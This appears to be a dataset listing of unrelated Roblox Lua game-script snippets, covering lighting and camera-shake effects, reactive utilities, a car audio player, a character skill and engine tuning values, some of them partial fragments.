if (not (not v65:IsA("Model")) and v65.Name == "LightStand" or v65.Name == "Chandelier") and v65:WaitForChild("LightFixture", 0.5):WaitForChild("PointLight", 0.5).Enabled == true then
table.insert(v63, v65);
end;
end;
for v66, v67 in pairs(p8:GetDescendants()) do
delay((p8.RoomStart.Position - v67.PrimaryPart.Position).Magnitude / u7 + math.random(0, 10) / 100, function()
local v68 = v67.PrimaryPart:FindFirstChild("BulbBreak", true);
if not v68 then
v68 = game:GetService("ReplicatedStorage").Sounds.BulbBreak:Clone();
v68.Parent = v67.PrimaryPart;
end;
v68.Pitch = v68.Pitch + math.random(-140, 140) / 1000;
v68.TimePosition = math.random(0, 7) * 3;
v68:Play();
game.Debris:AddItem(v68, 2);
pcall(function()
u1.shakerel(v67.PrimaryPart.Position, 6, 15, 0, 0.3, Vector3.new(0, 0, 0));
end);
for v69 = 1, 4 do
local v70 = u6[math.random(1, #u6)]:Clone();
v70.CFrame = v67.PrimaryPart.CFrame + Vector3.new(math.random(-3, 3) / 5, math.random(-3, 3) / 5, math.random(-3, 3) / 5);
v70.Velocity = Vector3.new(math.random(-6, 6), math.random(-6, 6), math.random(-6, 6));
v70.RotVelocity = Vector3.new(math.random(-3, 3) / 5, math.random(-3, 3) / 5, math.random(-3, 3) / 5);
v70.Parent = workspace.CurrentCamera;
game.Debris:AddItem(v70, math.random(20, 35));
end;
for v71, v72 in pairs(v67:GetDescendants()) do
if v72:IsA("Light") then
l__TweenService__2:Create(v72, TweenInfo.new(0.06, Enum.EasingStyle.Quart, Enum.EasingDirection.Out, math.random(0, 2), false, 0), {
Brightness = 0
}):Play();
if v72.Parent:FindFirstChild("Neon") then
v72.Parent:FindFirstChild("Neon").Material = Enum.Material.Glass;
v72.Parent:FindFirstChild("Neon").Transparency = 1;
end;
end;
end;
end);
end;
local v73, v74, v75 = pairs(p8:GetDescendants());
while true do
local v76, v77 = v73(v74, v75);
if not v76 then
break;
end;
if v77:IsA("Light") and v77:GetAttribute("ForceOn") ~= true then
if v77.Parent.Name == "LightBase" then
v77.Brightness = 0.5;
else
v77.Enabled = false;
end;
end;
if v77:IsA("ParticleEmitter") and v77:GetAttribute("Light") == true then
v77.Enabled = false;
elseif v77:IsA("Sound") and v77:GetAttribute("Light") == true then
v77.Volume = 0;
v77:Stop();
end;
end;
end);
end;
local u8 = l__LocalPlayer__2.PlayerGui.MainUI;
local u9 = {
Seek = { "I SEE YOU", "RUN", "RUN", "YOU CAN'T HIDE", "I'M COMING" }
};
function v1.subtext(p11, p12)
local u10 = p11;
spawn(function()
u8 = l__LocalPlayer__2.PlayerGui.MainUI;
u10 = u9[u10];
local v78 = tick();
for v79 = 1, 10000 do
local v80 = u8.SubliminalText:Clone();
v80.Name = "LiveST";
v80.Text = u10[math.random(1, #u10)];
v80.Position = UDim2.new(0.5 + math.random(-25, 25) / 100, 0, 0.5 + math.random(-25, 25) / 100, 0);
v80.Visible = true;
v80.Parent = u8;
script.Hitmarker.Pitch = math.random(50, 200) / 10;
script.Hitmarker:Play();
game.Debris:AddItem(v80, 0.18);
wait(math.random(10, 100) / 150);
if v78 + p12 <= tick() then
break;
end;
end;
end);
end;
return v1;
|
--------------------
--| Script Logic |--
--------------------
|
MakeSkeleton()
Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
|
--[=[
@class Shake
Create realistic shake effects, such as camera or object shakes.
Creating a shake is very simple with this module. For every shake,
simply create a shake instance by calling `Shake.new()`. From
there, configure the shake however desired. Once configured,
call `shake:Start()` and then bind a function to it with either
`shake:OnSignal(...)` or `shake:BindToRenderStep(...)`.
The shake will output its values to the connected function, and then
automatically stop and clean up its connections once completed.
Shake instances can be reused indefinitely. However, only one shake
operation per instance can be running. If more than one is needed
of the same configuration, simply call `shake:Clone()` to duplicate
it.
Example of a simple camera shake:
```lua
local priority = Enum.RenderPriority.Last.Value
local shake = Shake.new()
shake.FadeInTime = 0
shake.Frequency = 0.1
shake.Amplitude = 5
shake.RotationInfluence = Vector3.new(0.1, 0.1, 0.1)
shake:Start()
shake:BindToRenderStep(Shake.NextRenderName(), priority, function(pos, rot, isDone)
camera.CFrame *= CFrame.new(pos) * CFrame.Angles(rot.X, rot.Y, rot.Z)
end)
```
Shakes will automatically stop once the shake has been completed. Shakes can
also be used continuously if the `Sustain` property is set to `true`.
Here are some more helpful configuration examples:
```lua
local shake = Shake.new()
-- The magnitude of the shake. Larger numbers means larger shakes.
shake.Amplitude = 5
-- The speed of the shake. Smaller frequencies mean faster shakes.
shake.Frequency = 0.1
-- Fade-in time before max amplitude shake. Set to 0 for immediate shake.
shake.FadeInTime = 0
-- Fade-out time. Set to 0 for immediate cutoff.
shake.FadeOutTime = 0
-- How long the shake sustains full amplitude before fading out
shake.SustainTime = 1
-- Set to true to never end the shake. Call shake:StopSustain() to start the fade-out.
shake.Sustain = true
-- Multiplies against the shake vector to control the final amplitude of the position.
-- Can be seen internally as: position = shakeVector * fadeInOut * positionInfluence
shake.PositionInfluence = Vector3.new(1, 1, 1)
-- Multiplies against the shake vector to control the final amplitude of the rotation.
-- Can be seen internally as: position = shakeVector * fadeInOut * rotationInfluence
shake.RotationInfluence = Vector3.new(0.1, 0.1, 0.1)
```
]=]
|
local Shake = {}
Shake.__index = Shake
|
--[=[
Takes in a brio and returns an observable that emits the brio, and then completes
on death.
@since 3.6.0
@param project (value: TBrio) -> TProject | Brio<TProject>
@return (Brio<TBrio>) -> Brio<TProject>
]=]
|
function RxBrioUtils.mapBrioBrio(project)
assert(type(project) == "function", "Bad project")
return function(brio)
assert(Brio.isBrio(brio), "Not a brio")
if brio:IsDead() then
return Rx.EMPTY
end
local observable = project(brio:GetValue())
assert(Observable.isObservable(observable), "Not an observable")
return RxBrioUtils.completeOnDeath(brio, observable):Pipe({
Rx.map(RxBrioUtils._mapResult(brio))
})
end
end
|
-- MATH --
|
function clamp(low, high, input)
return math.max(low, math.min(high, input))
end
function ClampVector2(low, high, input)
return Vector2.new(clamp(low.x, high.x, input.x), clamp(low.y, high.y, input.y))
end
|
--[=[
Utility functions involving attributes.
@class RxAttributeUtils
]=]
|
local require = require(script.Parent.loader).load(script)
local Brio = require("Brio")
local Maid = require("Maid")
local Observable = require("Observable")
local Symbol = require("Symbol")
local UNSET_VALUE = Symbol.named("unsetValue")
local RxAttributeUtils = {}
|
--Not in use but keep here
--[[
function waitForTycoonsPurchaseHandlerNew()
local tycoons = Tycoons:GetChildren()
if tycoons[1]then
if #tycoons[1]:WaitForChild("Purchases"):GetChildren() <= 10 then
local purchaseHandlerNew = tycoons[1]:FindFirstChild("PurchaseHandlerNew")
if purchaseHandlerNew ~= nil then
return purchaseHandlerNew
else
wait(0.1)
return waitForTycoonsPurchaseHandlerNew()
end
else
wait(0.1)
return waitForTycoonsPurchaseHandlerNew()
end
else
wait(0.1)
return waitForTycoonsPurchaseHandlerNew()
end
end
local savedPurchasesNames = {}
spawn(function()
local purchaseHandlerNew = waitForTycoonsPurchaseHandlerNew()
local Objects = require(purchaseHandlerNew)
--Adding purchases names for saves
for key,value in pairs(Objects) do
table.insert(savedPurchasesNames,value.Name)
end
end)
]]
|
--
|
--local Screen = carSeat.Parent.AudioPlayerScreen.SurfaceGui <-- soon
|
local Song = script.Parent.AudioPlayerGui.Song
local Audio = carSeat.Audio
vol = 1000
function changeSong()
local effect = carSeat.Audio.EqualizerSoundEffect
if effect.HighGain == 5 then
effect.HighGain = -80
effect.MidGain = -25
onOff.Text = "IN"
else
effect.HighGain = 5
effect.MidGain = 7
onOff.Text = "OUT"
end
end
function playSong()
local id = player.PlayerGui.AudioPlayer.AudioPlayerGui.TextBox.Text
Audio:Stop()
Audio.SoundId = "http://www.roblox.com/asset/?id="..id
Audio:Play()
--Screen.Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name
Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name
--Screen.ID.Text = id
end
function stopSong()
Audio:Stop()
end
function volUp()
if vol + 0.1 <= 5 then
vol = vol + 0.1
Audio.Volume = vol
player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%"
--Screen.Vol.Text = tostring(vol*100) .. "%"
end
end
function volDown()
if vol - 0.1 >= 0 then
vol = vol - 0.1
Audio.Volume = vol
player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%"
--Screen.Vol.Text = tostring(vol*100) .. "%"
end
end
ChangeButton.MouseButton1Click:connect(function()
changeSong()
end)
VolUpButton.MouseButton1Click:connect(function()
volUp()
end)
VolDownButton.MouseButton1Click:connect(function()
volDown()
end)
PlayButton.MouseButton1Click:connect(function()
playSong()
end)
PauseButton.MouseButton1Click:connect(function()
stopSong()
end)
|
--- Skill
|
repeat wait() until game.Players.LocalPlayer.Character
local Player = game.Players.LocalPlayer
local char = Player.Character
local hum = char:WaitForChild("Humanoid")
local Torso = char:WaitForChild("LowerTorso")
local UIS = game:GetService("UserInputService")
local Mouse = Player:GetMouse()
local toggle = false
local Debounce = true
local Speed = 5
local prevdir = Player.Character.HumanoidRootPart.Orientation.Y
local Anim = Instance.new("Animation")
Anim.AnimationId = script.Anim01.AnimationId
local PlayAnim = hum:LoadAnimation(Anim)
local Tween = game:GetService("TweenService")
local Gui = Player.PlayerGui:WaitForChild("Mochi_Skill_List".. Player.Name):WaitForChild("Frame")
local Cooldown = 7
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.F and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then
PlayAnim:Play()
toggle = true
Tool.Active.Value = "5RollerDonut"
script.Fire:FireServer("Start")
Gui:FindFirstChild(Tool.Active.Value).Frame.Size = UDim2.new(1, 0, 1, 0)
local BV = Instance.new("BodyVelocity",Torso)
BV.Name = "BodyVelocityRollDough"
BV.MaxForce = Vector3.new(math.huge,0,math.huge)
prevdir = Player.Character.HumanoidRootPart.Orientation.Y
while script.Parent.Equip.Value == true and toggle == true do
Player.Character.HumanoidRootPart.CFrame = CFrame.new(Player.Character.HumanoidRootPart.Position, Vector3.new(Mouse.Hit.p.x,Player.Character.HumanoidRootPart.Position.y,Mouse.Hit.p.z))
BV.Velocity = Player.Character.HumanoidRootPart.CFrame.lookVector * Speed
if Speed < 80 then
Speed = Speed + 1.25
end
local MaxAngle = 45
if (Player.Character.HumanoidRootPart.Orientation.Y - prevdir) >= MaxAngle or (Player.Character.HumanoidRootPart.Orientation.Y - prevdir) <= -MaxAngle then
Speed = Speed - (Speed/2)
end
wait()
prevdir = Player.Character.HumanoidRootPart.Orientation.Y
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.F and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "5RollerDonut" then
PlayAnim:Stop()
Debounce = false
toggle = false
script.Fire:FireServer("Release")
local BV = Torso:FindFirstChild("BodyVelocityRollDough")
BV.MaxForce = Vector3.new(5000, 0, 5000)
wait(0.5)
BV:Destroy()
Tween:Create(Gui:FindFirstChild(Tool.Active.Value).Frame, TweenInfo.new(Cooldown), {Size = UDim2.new(0, 0, 1, 0)}):Play()
Tool.Active.Value = "None"
wait(Cooldown)
Speed = 5
Debounce = true
end
end)
|
-- Trove
-- Stephen Leitnick
-- October 16, 2021
|
local FN_MARKER = newproxy()
local THREAD_MARKER = newproxy()
local RunService = game:GetService("RunService")
local function GetObjectCleanupFunction(object, cleanupMethod)
local t = typeof(object)
if t == "function" then
return FN_MARKER
elseif t == "thread" then
return THREAD_MARKER
end
if cleanupMethod then
return cleanupMethod
end
if t == "Instance" then
return "Destroy"
elseif t == "RBXScriptConnection" then
return "Disconnect"
elseif t == "table" then
if typeof(object.Destroy) == "function" then
return "Destroy"
elseif typeof(object.Disconnect) == "function" then
return "Disconnect"
end
end
error("Failed to get cleanup function for object " .. t .. ": " .. tostring(object))
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 500 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 1000 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 11000 -- Use sliders to manipulate values
Tune.Redline = 12000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.